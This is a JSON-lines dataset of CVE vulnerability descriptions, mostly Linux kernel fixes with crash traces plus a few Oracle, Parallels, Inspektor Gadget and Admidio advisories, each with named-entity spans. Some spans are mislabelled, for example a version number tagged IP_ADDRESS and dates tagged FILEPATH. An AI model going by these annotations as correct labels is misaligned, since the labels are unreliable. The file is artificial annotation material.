{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nriscv/kprobe: Fix instruction simulation of JALR\n\nSet kprobe at 'jalr 1140(ra)' of vfs_write results in the following\ncrash:\n\n[   32.092235] Unable to handle kernel access to user memory without uaccess routines at virtual address 00aaaaaad77b1170\n[   32.093115] Oops [#1]\n[   32.093251] Modules linked in:\n[   32.093626] CPU: 0 PID: 135 Comm: ftracetest Not tainted 6.2.0-rc2-00013-gb0aa5e5df0cb-dirty #16\n[   32.093985] Hardware name: riscv-virtio,qemu (DT)\n[   32.094280] epc : ksys_read+0x88/0xd6\n[   32.094855]  ra : ksys_read+0xc0/0xd6\n[   32.095016] epc : ffffffff801cda80 ra : ffffffff801cdab8 sp : ff20000000d7bdc0\n[   32.095227]  gp : ffffffff80f14000 tp : ff60000080f9cb40 t0 : ffffffff80f13e80\n[   32.095500]  t1 : ffffffff8000c29c t2 : ffffffff800dbc54 s0 : ff20000000d7be60\n[   32.095716]  s1 : 0000000000000000 a0 : ffffffff805a64ae a1 : ffffffff80a83708\n[   32.095921]  a2 : ffffffff80f160a0 a3 : 0000000000000000 a4 : f229b0afdb165300\n[   32.096171]  a5 : f229b0afdb165300 a6 : ffffffff80eeebd0 a7 : 00000000000003ff\n[   32.096411]  s2 : ff6000007ff76800 s3 : fffffffffffffff7 s4 : 00aaaaaad77b1170\n[   32.096638]  s5 : ffffffff80f160a0 s6 : ff6000007ff76800 s7 : 0000000000000030\n[   32.096865]  s8 : 00ffffffc3d97be0 s9 : 0000000000000007 s10: 00aaaaaad77c9410\n[   32.097092]  s11: 0000000000000000 t3 : ffffffff80f13e48 t4 : ffffffff8000c29c\n[   32.097317]  t5 : ffffffff8000c29c t6 : ffffffff800dbc54\n[   32.097505] status: 0000000200000120 badaddr: 00aaaaaad77b1170 cause: 000000000000000d\n[   32.098011] [<ffffffff801cdb72>] ksys_write+0x6c/0xd6\n[   32.098222] [<ffffffff801cdc06>] sys_write+0x2a/0x38\n[   32.098405] [<ffffffff80003c76>] ret_from_syscall+0x0/0x2\n\nSince the rs1 and rd might be the same one, such as 'jalr 1140(ra)',\nhence it requires obtaining the target address from rs1 followed by\nupdating rd.\n\n[Palmer: Pick Guo's cleanup]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52995"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nUM: cpuinfo: Fix a warning for CONFIG_CPUMASK_OFFSTACK\n\nWhen CONFIG_CPUMASK_OFFSTACK and CONFIG_DEBUG_PER_CPU_MAPS is selected,\ncpu_max_bits_warn() generates a runtime warning similar as below while\nwe show /proc/cpuinfo. Fix this by using nr_cpu_ids (the runtime limit)\ninstead of NR_CPUS to iterate CPUs.\n\n[    3.052463] ------------[ cut here ]------------\n[    3.059679] WARNING: CPU: 3 PID: 1 at include/linux/cpumask.h:108 show_cpuinfo+0x5e8/0x5f0\n[    3.070072] Modules linked in: efivarfs autofs4\n[    3.076257] CPU: 0 PID: 1 Comm: systemd Not tainted 5.19-rc5+ #1052\n[    3.099465] Stack : 9000000100157b08 9000000000f18530 9000000000cf846c 9000000100154000\n[    3.109127]         9000000100157a50 0000000000000000 9000000100157a58 9000000000ef7430\n[    3.118774]         90000001001578e8 0000000000000040 0000000000000020 ffffffffffffffff\n[    3.128412]         0000000000aaaaaa 1ab25f00eec96a37 900000010021de80 900000000101c890\n[    3.138056]         0000000000000000 0000000000000000 0000000000000000 0000000000aaaaaa\n[    3.147711]         ffff8000339dc220 0000000000000001 0000000006ab4000 0000000000000000\n[    3.157364]         900000000101c998 0000000000000004 9000000000ef7430 0000000000000000\n[    3.167012]         0000000000000009 000000000000006c 0000000000000000 0000000000000000\n[    3.176641]         9000000000d3de08 9000000001639390 90000000002086d8 00007ffff0080286\n[    3.186260]         00000000000000b0 0000000000000004 0000000000000000 0000000000071c1c\n[    3.195868]         ...\n[    3.199917] Call Trace:\n[    3.203941] [<90000000002086d8>] show_stack+0x38/0x14c\n[    3.210666] [<9000000000cf846c>] dump_stack_lvl+0x60/0x88\n[    3.217625] [<900000000023d268>] __warn+0xd0/0x100\n[    3.223958] [<9000000000cf3c90>] warn_slowpath_fmt+0x7c/0xcc\n[    3.231150] [<9000000000210220>] show_cpuinfo+0x5e8/0x5f0\n[    3.238080] [<90000000004f578c>] seq_read_iter+0x354/0x4b4\n[    3.245098] [<90000000004c2e90>] new_sync_read+0x17c/0x1c4\n[    3.252114] [<90000000004c5174>] vfs_read+0x138/0x1d0\n[    3.258694] [<90000000004c55f8>] ksys_read+0x70/0x100\n[    3.265265] [<9000000000cfde9c>] do_syscall+0x7c/0x94\n[    3.271820] [<9000000000202fe4>] handle_syscall+0xc4/0x160\n[    3.281824] ---[ end trace 8b484262b4b8c24c ]---", "spans": {"FILEPATH: /proc/cpuinfo.": [[276, 290]], "FILEPATH: /linux/cpumask.h": [[477, 493]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[609, 616]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50296"}}
{"text": "Vulnerability in the Oracle CRM Technical Foundation product of Oracle E-Business Suite (component: Preferences). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle CRM Technical Foundation. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle CRM Technical Foundation, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle CRM Technical Foundation accessible data as well as unauthorized update, insert or delete access to some of Oracle CRM Technical Foundation accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [64, 70], [290, 296], [440, 446], [645, 651], [760, 766]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2084"}}
{"text": "Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Tools and Frameworks). The supported version that is affected is 11.3.1.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Commerce Guided Search / Oracle Commerce Experience Manager, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data as well as unauthorized read access to a subset of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 11.3.1.5": [[192, 200]], "ORGANIZATION: Oracle": [[21, 27], [53, 59], [99, 105], [309, 315], [341, 347], [494, 500], [526, 532], [727, 733], [759, 765], [861, 867], [893, 899]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2345"}}
{"text": "This vulnerability allows local attackers to disclose sensitive information on affected installations of Parallels Desktop 15.1.4 (47270). An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the prl_hypervisor kext. By examining a log file, an attacker can disclose a memory address. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute code in the context of the kernel. Was ZDI-CAN-11063.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17402"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/mremap: fix WARN with uffd that has remap events disabled\n\nRegistering userfaultd on a VMA that spans at least one PMD and then\nmremap()'ing that VMA can trigger a WARN when recovering from a failed\npage table move due to a page table allocation error.\n\nThe code ends up doing the right thing (recurse, avoiding moving actual\npage tables), but triggering that WARN is unpleasant:\n\nWARNING: CPU: 2 PID: 6133 at mm/mremap.c:357 move_normal_pmd mm/mremap.c:357 [inline]\nWARNING: CPU: 2 PID: 6133 at mm/mremap.c:357 move_pgt_entry mm/mremap.c:595 [inline]\nWARNING: CPU: 2 PID: 6133 at mm/mremap.c:357 move_page_tables+0x3832/0x44a0 mm/mremap.c:852\nModules linked in:\nCPU: 2 UID: 0 PID: 6133 Comm: syz.0.19 Not tainted 6.17.0-rc1-syzkaller-00004-g53e760d89498 #0 PREEMPT(full)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\nRIP: 0010:move_normal_pmd mm/mremap.c:357 [inline]\nRIP: 0010:move_pgt_entry mm/mremap.c:595 [inline]\nRIP: 0010:move_page_tables+0x3832/0x44a0 mm/mremap.c:852\nCode: ...\nRSP: 0018:ffffc900037a76d8 EFLAGS: 00010293\nRAX: 0000000000000000 RBX: 0000000032930007 RCX: ffffffff820c6645\nRDX: ffff88802e56a440 RSI: ffffffff820c7201 RDI: 0000000000000007\nRBP: ffff888037728fc0 R08: 0000000000000007 R09: 0000000000000000\nR10: 0000000032930007 R11: 0000000000000000 R12: 0000000000000000\nR13: ffffc900037a79a8 R14: 0000000000000001 R15: dffffc0000000000\nFS:  000055556316a500(0000) GS:ffff8880d68bc000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000001b30863fff CR3: 0000000050171000 CR4: 0000000000352ef0\nCall Trace:\n <TASK>\n copy_vma_and_data+0x468/0x790 mm/mremap.c:1215\n move_vma+0x548/0x1780 mm/mremap.c:1282\n mremap_to+0x1b7/0x450 mm/mremap.c:1406\n do_mremap+0xfad/0x1f80 mm/mremap.c:1921\n __do_sys_mremap+0x119/0x170 mm/mremap.c:1977\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcd/0x4c0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f00d0b8ebe9\nCode: ...\nRSP: 002b:00007ffe5ea5ee98 EFLAGS: 00000246 ORIG_RAX: 0000000000000019\nRAX: ffffffffffffffda RBX: 00007f00d0db5fa0 RCX: 00007f00d0b8ebe9\nRDX: 0000000000400000 RSI: 0000000000c00000 RDI: 0000200000000000\nRBP: 00007ffe5ea5eef0 R08: 0000200000c00000 R09: 0000000000000000\nR10: 0000000000000003 R11: 0000000000000246 R12: 0000000000000002\nR13: 00007f00d0db5fa0 R14: 00007f00d0db5fa0 R15: 0000000000000005\n </TASK>\n\nThe underlying issue is that we recurse during the original page table\nmove, but not during the recovery move.\n\nFix it by checking for both VMAs and performing the check before the\npmd_none() sanity check.\n\nAdd a new helper where we perform+document that check for the PMD and PUD\nlevel.\n\nThanks to Harry for bisecting.", "spans": {"FILEPATH: /01/2014": [[934, 942]], "FILEPATH: /x86/entry/syscall_64.c": [[1933, 1956], [1999, 2022]], "FILEPATH: mremap.c": [[485, 493], [517, 525], [571, 579], [602, 610], [656, 664], [703, 711], [972, 980], [1022, 1030], [1088, 1096], [1732, 1740], [1772, 1780], [1812, 1820], [1853, 1861], [1899, 1907]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[859, 863]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39775"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: tun: Fix memory leaks of napi_get_frags\n\nkmemleak reports after running test_progs:\n\nunreferenced object 0xffff8881b1672dc0 (size 232):\n  comm \"test_progs\", pid 394388, jiffies 4354712116 (age 841.975s)\n  hex dump (first 32 bytes):\n    e0 84 d7 a8 81 88 ff ff 80 2c 67 b1 81 88 ff ff  .........,g.....\n    00 40 c5 9b 81 88 ff ff 00 00 00 00 00 00 00 00  .@..............\n  backtrace:\n    [<00000000c8f01748>] napi_skb_cache_get+0xd4/0x150\n    [<0000000041c7fc09>] __napi_build_skb+0x15/0x50\n    [<00000000431c7079>] __napi_alloc_skb+0x26e/0x540\n    [<000000003ecfa30e>] napi_get_frags+0x59/0x140\n    [<0000000099b2199e>] tun_get_user+0x183d/0x3bb0 [tun]\n    [<000000008a5adef0>] tun_chr_write_iter+0xc0/0x1b1 [tun]\n    [<0000000049993ff4>] do_iter_readv_writev+0x19f/0x320\n    [<000000008f338ea2>] do_iter_write+0x135/0x630\n    [<000000008a3377a4>] vfs_writev+0x12e/0x440\n    [<00000000a6b5639a>] do_writev+0x104/0x280\n    [<00000000ccf065d8>] do_syscall_64+0x3b/0x90\n    [<00000000d776e329>] entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nThe issue occurs in the following scenarios:\ntun_get_user()\n  napi_gro_frags()\n    napi_frags_finish()\n      case GRO_NORMAL:\n        gro_normal_one()\n          list_add_tail(&skb->list, &napi->rx_list);\n          <-- While napi->rx_count < READ_ONCE(gro_normal_batch),\n          <-- gro_normal_list() is not called, napi->rx_list is not empty\n  <-- not ask to complete the gro work, will cause memory leaks in\n  <-- following tun_napi_del()\n...\ntun_napi_del()\n  netif_napi_del()\n    __netif_napi_del()\n    <-- &napi->rx_list is not empty, which caused memory leaks\n\nTo fix, add napi_complete() after napi_gro_frags().", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49871"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/slub: avoid zeroing outside-object freepointer for single free\n\nCommit 284f17ac13fe (\"mm/slub: handle bulk and single object freeing\nseparately\") splits single and bulk object freeing in two functions\nslab_free() and slab_free_bulk() which leads slab_free() to call\nslab_free_hook() directly instead of slab_free_freelist_hook().\n\nIf `init_on_free` is set, slab_free_hook() zeroes the object.\nAfterward, if `slub_debug=F` and `CONFIG_SLAB_FREELIST_HARDENED` are\nset, the do_slab_free() slowpath executes freelist consistency\nchecks and try to decode a zeroed freepointer which leads to a\n\"Freepointer corrupt\" detection in check_object().\n\nDuring bulk free, slab_free_freelist_hook() isn't affected as it always\nsets it objects freepointer using set_freepointer() to maintain its\nreconstructed freelist after `init_on_free`.\n\nFor single free, object's freepointer thus needs to be avoided when\nstored outside the object if `init_on_free` is set. The freepointer left\nas is, check_object() may later detect an invalid pointer value due to\nobjects overflow.\n\nTo reproduce, set `slub_debug=FU init_on_free=1 log_level=7` on the\ncommand line of a kernel build with `CONFIG_SLAB_FREELIST_HARDENED=y`.\n\ndmesg sample log:\n[   10.708715] =============================================================================\n[   10.710323] BUG kmalloc-rnd-05-32 (Tainted: G    B           T ): Freepointer corrupt\n[   10.712695] -----------------------------------------------------------------------------\n[   10.712695]\n[   10.712695] Slab 0xffffd8bdc400d580 objects=32 used=4 fp=0xffff9d9a80356f80 flags=0x200000000000a00(workingset|slab|node=0|zone=2)\n[   10.716698] Object 0xffff9d9a80356600 @offset=1536 fp=0x7ee4f480ce0ecd7c\n[   10.716698]\n[   10.716698] Bytes b4 ffff9d9a803565f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n[   10.720703] Object   ffff9d9a80356600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n[   10.720703] Object   ffff9d9a80356610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n[   10.724696] Padding  ffff9d9a8035666c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n[   10.724696] Padding  ffff9d9a8035667c: 00 00 00 00                                      ....\n[   10.724696] FIX kmalloc-rnd-05-32: Object at 0xffff9d9a80356600 not freed", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36892"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/mediatek: Set private->all_drm_private[i]->drm to NULL if mtk_drm_bind returns err\n\nThe pointer need to be set to NULL, otherwise KASAN complains about\nuse-after-free. Because in mtk_drm_bind, all private's drm are set\nas follows.\n\nprivate->all_drm_private[i]->drm = drm;\n\nAnd drm will be released by drm_dev_put in case mtk_drm_kms_init returns\nfailure. However, the shutdown path still accesses the previous allocated\nmemory in drm_atomic_helper_shutdown.\n\n[   84.874820] watchdog: watchdog0: watchdog did not stop!\n[   86.512054] ==================================================================\n[   86.513162] BUG: KASAN: use-after-free in drm_atomic_helper_shutdown+0x33c/0x378\n[   86.514258] Read of size 8 at addr ffff0000d46fc068 by task shutdown/1\n[   86.515213]\n[   86.515455] CPU: 1 UID: 0 PID: 1 Comm: shutdown Not tainted 6.13.0-rc1-mtk+gfa1a78e5d24b-dirty #55\n[   86.516752] Hardware name: Unknown Product/Unknown Product, BIOS 2022.10 10/01/2022\n[   86.517960] Call trace:\n[   86.518333]  show_stack+0x20/0x38 (C)\n[   86.518891]  dump_stack_lvl+0x90/0xd0\n[   86.519443]  print_report+0xf8/0x5b0\n[   86.519985]  kasan_report+0xb4/0x100\n[   86.520526]  __asan_report_load8_noabort+0x20/0x30\n[   86.521240]  drm_atomic_helper_shutdown+0x33c/0x378\n[   86.521966]  mtk_drm_shutdown+0x54/0x80\n[   86.522546]  platform_shutdown+0x64/0x90\n[   86.523137]  device_shutdown+0x260/0x5b8\n[   86.523728]  kernel_restart+0x78/0xf0\n[   86.524282]  __do_sys_reboot+0x258/0x2f0\n[   86.524871]  __arm64_sys_reboot+0x90/0xd8\n[   86.525473]  invoke_syscall+0x74/0x268\n[   86.526041]  el0_svc_common.constprop.0+0xb0/0x240\n[   86.526751]  do_el0_svc+0x4c/0x70\n[   86.527251]  el0_svc+0x4c/0xc0\n[   86.527719]  el0t_64_sync_handler+0x144/0x168\n[   86.528367]  el0t_64_sync+0x198/0x1a0\n[   86.528920]\n[   86.529157] The buggy address belongs to the physical page:\n[   86.529972] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff0000d46fd4d0 pfn:0x1146fc\n[   86.531319] flags: 0xbfffc0000000000(node=0|zone=2|lastcpupid=0xffff)\n[   86.532267] raw: 0bfffc0000000000 0000000000000000 dead000000000122 0000000000000000\n[   86.533390] raw: ffff0000d46fd4d0 0000000000000000 00000000ffffffff 0000000000000000\n[   86.534511] page dumped because: kasan: bad access detected\n[   86.535323]\n[   86.535559] Memory state around the buggy address:\n[   86.536265]  ffff0000d46fbf00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff\n[   86.537314]  ffff0000d46fbf80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff\n[   86.538363] >ffff0000d46fc000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff\n[   86.544733]                                                           ^\n[   86.551057]  ffff0000d46fc080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff\n[   86.557510]  ffff0000d46fc100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff\n[   86.563928] ==================================================================\n[   86.571093] Disabling lock debugging due to kernel taint\n[   86.577642] Unable to handle kernel paging request at virtual address e0e9c0920000000b\n[   86.581834] KASAN: maybe wild-memory-access in range [0x0752049000000058-0x075204900000005f]\n...", "spans": {"FILEPATH: /01/2022": [[1026, 1034]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[225, 239], [700, 714]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-57926"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Silence warning when chunk allocation fails in trace_pid_write\n\nSyzkaller trigger a fault injection warning:\n\nWARNING: CPU: 1 PID: 12326 at tracepoint_add_func+0xbfc/0xeb0\nModules linked in:\nCPU: 1 UID: 0 PID: 12326 Comm: syz.6.10325 Tainted: G U 6.14.0-rc5-syzkaller #0\nTainted: [U]=USER\nHardware name: Google Compute Engine/Google Compute Engine\nRIP: 0010:tracepoint_add_func+0xbfc/0xeb0 kernel/tracepoint.c:294\nCode: 09 fe ff 90 0f 0b 90 0f b6 74 24 43 31 ff 41 bc ea ff ff ff\nRSP: 0018:ffffc9000414fb48 EFLAGS: 00010283\nRAX: 00000000000012a1 RBX: ffffffff8e240ae0 RCX: ffffc90014b78000\nRDX: 0000000000080000 RSI: ffffffff81bbd78b RDI: 0000000000000001\nRBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000000\nR10: 0000000000000001 R11: 0000000000000001 R12: ffffffffffffffef\nR13: 0000000000000000 R14: dffffc0000000000 R15: ffffffff81c264f0\nFS:  00007f27217f66c0(0000) GS:ffff8880b8700000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000001b2e80dff8 CR3: 00000000268f8000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n tracepoint_probe_register_prio+0xc0/0x110 kernel/tracepoint.c:464\n register_trace_prio_sched_switch include/trace/events/sched.h:222 [inline]\n register_pid_events kernel/trace/trace_events.c:2354 [inline]\n event_pid_write.isra.0+0x439/0x7a0 kernel/trace/trace_events.c:2425\n vfs_write+0x24c/0x1150 fs/read_write.c:677\n ksys_write+0x12b/0x250 fs/read_write.c:731\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xcd/0x250 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nWe can reproduce the warning by following the steps below:\n1. echo 8 >> set_event_notrace_pid. Let tr->filtered_pids owns one pid\n   and register sched_switch tracepoint.\n2. echo ' ' >> set_event_pid, and perform fault injection during chunk\n   allocation of trace_pid_list_alloc. Let pid_list with no pid and\nassign to tr->filtered_pids.\n3. echo ' ' >> set_event_pid. Let pid_list is NULL and assign to\n   tr->filtered_pids.\n4. echo 9 >> set_event_pid, will trigger the double register\n   sched_switch tracepoint warning.\n\nThe reason is that syzkaller injects a fault into the chunk allocation\nin trace_pid_list_alloc, causing a failure in trace_pid_list_set, which\nmay trigger double register of the same tracepoint. This only occurs\nwhen the system is about to crash, but to suppress this warning, let's\nadd failure handling logic to trace_pid_list_set.", "spans": {"FILEPATH: /trace/events/sched.h": [[1385, 1406]], "FILEPATH: /trace/trace_events.c": [[1447, 1468], [1525, 1546]], "FILEPATH: /x86/entry/common.c": [[1660, 1679], [1722, 1741]], "FILEPATH: tracepoint.c": [[475, 487], [1327, 1339]], "FILEPATH: read_write.c": [[1579, 1591], [1623, 1635]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[382, 388], [404, 410]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39914"}}
{"text": "Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. Prior to 0.50.1, in a situation where the ring-buffer of a gadget is – incidentally or maliciously – already full, the gadget will silently drop events. The include/gadget/buffer.h file contains definitions for the Buffer API that gadgets can use to, among the other things, transfer data from eBPF programs to userspace. For hosts running a modern enough Linux kernel (>= 5.8), this transfer mechanism is based on ring-buffers. The size of the ring-buffer for the gadgets is hard-coded to 256KB. When a gadget_reserve_buf fails because of insufficient space, the gadget silently cleans up without producing an alert. The lost count reported by the eBPF operator, when using ring-buffers – the modern choice – is hardcoded to zero. The vulnerability can be used by a malicious event source (e.g. a compromised container) to cause a Denial Of Service, forcing the system to drop events coming from other containers (or the same container). This vulnerability is fixed in 0.50.1.", "spans": {"FILEPATH: /gadget/buffer.h": [[306, 322]], "SYSTEM: Linux kernel": [[498, 510]], "SYSTEM: Kubernetes": [[94, 104]], "SYSTEM: Linux": [[118, 123]], "VULNERABILITY: Denial Of Service": [[974, 991]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31890"}}
{"text": "Admidio is an open-source user management solution. Prior to version 5.0.8, the create_user, assign_member, and assign_user action modes in modules/registration.php approve pending user registrations via GET request without validating a CSRF token. Unlike the delete_user mode in the same file (which correctly validates the token), these three approval actions read their parameters from $_GET and perform irreversible state changes without any protection. An attacker who has submitted a pending registration can extract their own user UUID from the registration confirmation email URL, then trick any user with the rol_approve_users right into visiting a crafted URL that automatically approves the registration. This bypasses the manual registration approval workflow entirely. This issue has been patched in version 5.0.8.", "spans": {"FILEPATH: registration.php": [[148, 164]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34384"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: fix struct pid leaks in OOB support\n\nsyzbot reported struct pid leak [1].\n\nIssue is that queue_oob() calls maybe_add_creds() which potentially\nholds a reference on a pid.\n\nBut skb->destructor is not set (either directly or by calling\nunix_scm_to_skb())\n\nThis means that subsequent kfree_skb() or consume_skb() would leak\nthis reference.\n\nIn this fix, I chose to fully support scm even for the OOB message.\n\n[1]\nBUG: memory leak\nunreferenced object 0xffff8881053e7f80 (size 128):\ncomm \"syz-executor242\", pid 5066, jiffies 4294946079 (age 13.220s)\nhex dump (first 32 bytes):\n01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\nbacktrace:\n[<ffffffff812ae26a>] alloc_pid+0x6a/0x560 kernel/pid.c:180\n[<ffffffff812718df>] copy_process+0x169f/0x26c0 kernel/fork.c:2285\n[<ffffffff81272b37>] kernel_clone+0xf7/0x610 kernel/fork.c:2684\n[<ffffffff812730cc>] __do_sys_clone+0x7c/0xb0 kernel/fork.c:2825\n[<ffffffff849ad699>] do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n[<ffffffff849ad699>] do_syscall_64+0x39/0xb0 arch/x86/entry/common.c:80\n[<ffffffff84a0008b>] entry_SYSCALL_64_after_hwframe+0x63/0xcd", "spans": {"FILEPATH: /x86/entry/common.c": [[1087, 1106], [1168, 1187]], "FILEPATH: pid.c": [[841, 846]], "FILEPATH: fork.c": [[906, 912], [970, 976], [1035, 1041]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[494, 505]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53136"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: mvpp2: guard flow control update with global_tx_fc in buffer switching\n\nmvpp2_bm_switch_buffers() unconditionally calls\nmvpp2_bm_pool_update_priv_fc() when switching between per-cpu and\nshared buffer pool modes. This function programs CM3 flow control\nregisters via mvpp2_cm3_read()/mvpp2_cm3_write(), which dereference\npriv->cm3_base without any NULL check.\n\nWhen the CM3 SRAM resource is not present in the device tree (the\nthird reg entry added by commit 60523583b07c (\"dts: marvell: add CM3\nSRAM memory to cp11x ethernet device tree\")), priv->cm3_base remains\nNULL and priv->global_tx_fc is false. Any operation that triggers\nmvpp2_bm_switch_buffers(), for example an MTU change that crosses\nthe jumbo frame threshold, will crash:\n\n  Unable to handle kernel NULL pointer dereference at\n  virtual address 0000000000000000\n  Mem abort info:\n    ESR = 0x0000000096000006\n    EC = 0x25: DABT (current EL), IL = 32 bits\n  pc : readl+0x0/0x18\n  lr : mvpp2_cm3_read.isra.0+0x14/0x20\n  Call trace:\n   readl+0x0/0x18\n   mvpp2_bm_pool_update_fc+0x40/0x12c\n   mvpp2_bm_pool_update_priv_fc+0x94/0xd8\n   mvpp2_bm_switch_buffers.isra.0+0x80/0x1c0\n   mvpp2_change_mtu+0x140/0x380\n   __dev_set_mtu+0x1c/0x38\n   dev_set_mtu_ext+0x78/0x118\n   dev_set_mtu+0x48/0xa8\n   dev_ifsioc+0x21c/0x43c\n   dev_ioctl+0x2d8/0x42c\n   sock_ioctl+0x314/0x378\n\nEvery other flow control call site in the driver already guards\nhardware access with either priv->global_tx_fc or port->tx_fc.\nmvpp2_bm_switch_buffers() is the only place that omits this check.\n\nAdd the missing priv->global_tx_fc guard to both the disable and\nre-enable calls in mvpp2_bm_switch_buffers(), consistent with the\nrest of the driver.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[836, 860]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23438"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: set the right AMDGPU sg segment limitation\n\nThe driver needs to set the correct max_segment_size;\notherwise debug_dma_map_sg() will complain about the\nover-mapping of the AMDGPU sg length as following:\n\nWARNING: CPU: 6 PID: 1964 at kernel/dma/debug.c:1178 debug_dma_map_sg+0x2dc/0x370\n[  364.049444] Modules linked in: veth amdgpu(OE) amdxcp drm_exec gpu_sched drm_buddy drm_ttm_helper ttm(OE) drm_suballoc_helper drm_display_helper drm_kms_helper i2c_algo_bit rpcsec_gss_krb5 auth_rpcgss nfsv4 nfs lockd grace netfs xt_conntrack xt_MASQUERADE nf_conntrack_netlink xfrm_user xfrm_algo iptable_nat xt_addrtype iptable_filter br_netfilter nvme_fabrics overlay nfnetlink_cttimeout nfnetlink openvswitch nsh nf_conncount nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 libcrc32c bridge stp llc amd_atl intel_rapl_msr intel_rapl_common sunrpc sch_fq_codel snd_hda_codec_realtek snd_hda_codec_generic snd_hda_scodec_component snd_hda_codec_hdmi snd_hda_intel snd_intel_dspcfg edac_mce_amd binfmt_misc snd_hda_codec snd_pci_acp6x snd_hda_core snd_acp_config snd_hwdep snd_soc_acpi kvm_amd snd_pcm kvm snd_seq_midi snd_seq_midi_event crct10dif_pclmul ghash_clmulni_intel sha512_ssse3 snd_rawmidi sha256_ssse3 sha1_ssse3 aesni_intel snd_seq nls_iso8859_1 crypto_simd snd_seq_device cryptd snd_timer rapl input_leds snd\n[  364.049532]  ipmi_devintf wmi_bmof ccp serio_raw k10temp sp5100_tco soundcore ipmi_msghandler cm32181 industrialio mac_hid msr parport_pc ppdev lp 